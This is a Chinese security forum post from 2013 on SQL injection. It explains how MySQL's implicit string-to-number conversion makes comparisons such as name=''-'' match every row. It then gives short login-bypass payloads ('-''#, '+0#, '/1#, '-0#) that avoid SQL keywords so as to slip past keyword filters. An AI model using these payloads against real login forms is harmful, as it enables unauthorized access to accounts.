找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2072|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。
* J# M# {- i0 u' ^8 R有以下表结构:
& s, h6 w' s: ^6 q% F/ P3 k* a, [6 x! w$ V
mysql> desc admin;$ y6 q. c2 p6 y5 I/ g% c2 G$ o; m
+----------+--------------+------+-----+---------+----------------+
# U4 Q- v' W, `; Y# e. G| Field    | Type         | Null | Key | Default | Extra          |- K; `' B( c' v: s' C
+----------+--------------+------+-----+---------+----------------+
, U# A9 x/ O3 _+ ^" l& B3 V| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
7 w) O- {+ `: G0 {/ t. v. z| name     | char(32)     | NO   | UNI | NULL    |                |7 [9 J5 a, U9 ~9 k/ g5 j, z
| password | char(32)     | NO   | UNI | NULL    |                |( c1 ?$ T9 m% K: U/ c
+----------+--------------+------+-----+---------+----------------+
+ T8 \! S) ~* v) N% y! L) J" g* j3 rows in set (0.00 sec)/ k4 M7 L7 {% L4 p' \
执行select * from admin;,成功返回所有记录内容。
3 s: o2 W* u; C3 N
+ k$ b1 r( |( b/ D- N6 C% I
/ y. C- I1 r6 i$ \1 n( }  L2 f+----+--------+----------------------------------+$ ?  V% d; O2 d! |# r' l
| id | name   | password                         |
8 c, b6 v/ `4 u' I9 |1 }+----+--------+----------------------------------+
+ B8 S1 D+ i/ Y8 w5 P, F|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |( D7 f9 y2 D& J4 N$ y  \$ }) c; P3 A
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |- t. p2 E0 C1 F4 f" a8 T- {
|  4 | n00b   | ff80e8508d39047460921792273533a4 |* t& ~, V2 D# X) a
+----+--------+----------------------------------+
" C9 }" Q% u$ p6 k  G  n+ z3 rows in set (0.00 sec)
( n6 w. ]1 E$ m$ I2 X% J8 f3 E4 D执行select * from admin where name=”;,没有匹配到任何记录。 5 y1 o. ^" e$ T8 y1 F- l
8 L3 ]. k  `5 W; T# }1 h- v8 B
mysql> select * from admin where name = '';% b8 H: M3 c+ K# N) I, g/ C
Empty set (0.00 sec)4 i3 @' \3 k9 v+ ?% a# e
那么我们来执行select * from admin where name = ”-”;
! p2 T* z0 }& H6 S% L7 z) @5 ^% {8 M: f" j( G" }9 A
; J) t" X/ i7 l* y6 T- }% Y
+----+--------+----------------------------------+, A( J  y( W% }
| id | name   | password                         |
9 b% D, D) T9 [6 x! I+----+--------+----------------------------------+
* k) @. f# T( w1 D0 W|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |/ a9 h. I; z- i4 q/ F
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
4 o5 }# |& h' g( e|  4 | n00b   | ff80e8508d39047460921792273533a4 |1 A, L% o+ ]$ g5 i) a' t" f/ P
+----+--------+----------------------------------+
8 A4 Y, t1 Q8 S) g, Q% }3 rows in set, 3 warnings (0.00 sec)
7 ]# S2 F+ M5 N/ q* K$ n' W可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: 6 `2 U- ~! I7 V9 r* G; y' X
5 Z+ }9 W) X1 g# w' t7 E8 v6 s) L
mysql> show warnings;
7 s6 h/ e7 a# {9 N  c% b& R+---------+------+------------------------------------------$ l/ u6 S! [" j7 A* _
| Level   | Code | Message& h6 K9 V6 E, r9 `1 d1 r' }1 |
+---------+------+------------------------------------------
- O6 ^" G" K: f% I& D3 h$ ~| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
  I% q7 B4 ^8 ~| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s$ M# E! U& Y- k/ z) q8 b/ m
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
6 U' I3 Q* {$ z0 U. v+---------+------+------------------------------------------
+ g9 O1 P, ^; s: a- Q+ k( @  W/ U3 rows in set (0.00 sec), P8 ]" u! J: u$ v) W! J& G
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 . J6 e0 x, I5 W& P) I
# J' z; C% r/ _9 y& J. m
mysql> select ''-'';6 V% o6 W  b5 q7 @5 S
+-------+- n7 W: S0 n# H, H
| ''-'' |
; v. l" m& i! h+ }+-------+
4 w# ?8 y0 f+ }  _+ T& a|     0 |3 a1 G& u! |/ _% C, m, Z( u  ^. b
+-------+" _/ M, z% F, ^$ i  A+ z; p
1 row in set (0.00 sec)
) t% T% M0 f) W; @: [+ V1 M返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: ' \! T+ D. ~& v5 r: K4 v1 J
0 [% c' T) M3 f+ v: ]- N
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);+ `3 a7 P1 K/ L9 G/ b" {3 V
+-----------------------------------------------------+6 b- I6 ]. G# g/ {0 L, F6 }. C
| CAST((select name from admin limit 1,1) as DECIMAL) |
  ~' R" @+ i- d+-----------------------------------------------------+5 p# q" ~) b" L; _7 \/ t1 Y
|                                                   0 |8 B$ v. j% {7 k6 e, s3 N% O  ?4 h
+-----------------------------------------------------+
, C4 x1 t" _: H! }; n" c1 row in set, 1 warning (0.00 sec)
* w# t0 r) K7 g3 g% i* }因此where语句构成了相等的条件,where 0=”=”,记录被返回。
4 D  L0 n$ t' m  {3 g- r: r1 s; x( f/ g
SQL注入场景: http://www.sqlzoo.net/hack/ 4 B- N6 a1 K7 ~) W% b! g
% E/ ]+ O) ]* c  @* I" {& C

8 T! c. M, \; ~) V* F2 V9 D* P
; ]8 P$ \5 l! N! s& N7 T/ [) n, R' w% @' {0 X
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 : d! g- Z% O$ K$ _

: }  t1 i3 Y* J4 R/ W2 Q0 l  a9 ~那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 : r3 B/ A$ L! ^' W- u* X
/ ], b2 I+ a: I2 P# N) \. g; G
: j6 f4 N0 w6 s' O

# J' n- w& \" L- g9 |6 X& B4 I
6 i, w+ K" H9 ^$ g% o仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
7 V" r- a7 N( t7 Y8 y6 A9 u6 L7 V+ P7 w- ~% p" ?/ T
   9 c9 d0 y' |. m0 q% F( s; c( g

7 w7 e/ g# h7 A; {3 G8 g& y) B除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可7 J- d7 Q* X5 S; L$ b
! i/ N4 J: R! h7 d8 _- y

* y8 H' g& v3 X7 ]- T& I. J$ _mysql> select ''/1;
  d+ c: [! t9 Y+------+
5 X& i/ I4 {/ P  X: U( K| ''/1 |9 {9 l* E* k+ e; Q' S& l* Q& T
+------+7 c9 L( A& X5 p, T4 m4 \% k
|    0 |, H# i* a. U# [; g6 A
+------+
0 v3 `% s' j8 N# C+ F1 row in set (0.00 sec)
5 h) e8 V4 @; b( X# @6 V3 J( i类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
" S0 e0 N  X! F& G  u
* c  y& ?9 V4 V3 m( K利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。( K7 s( L' K' B
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表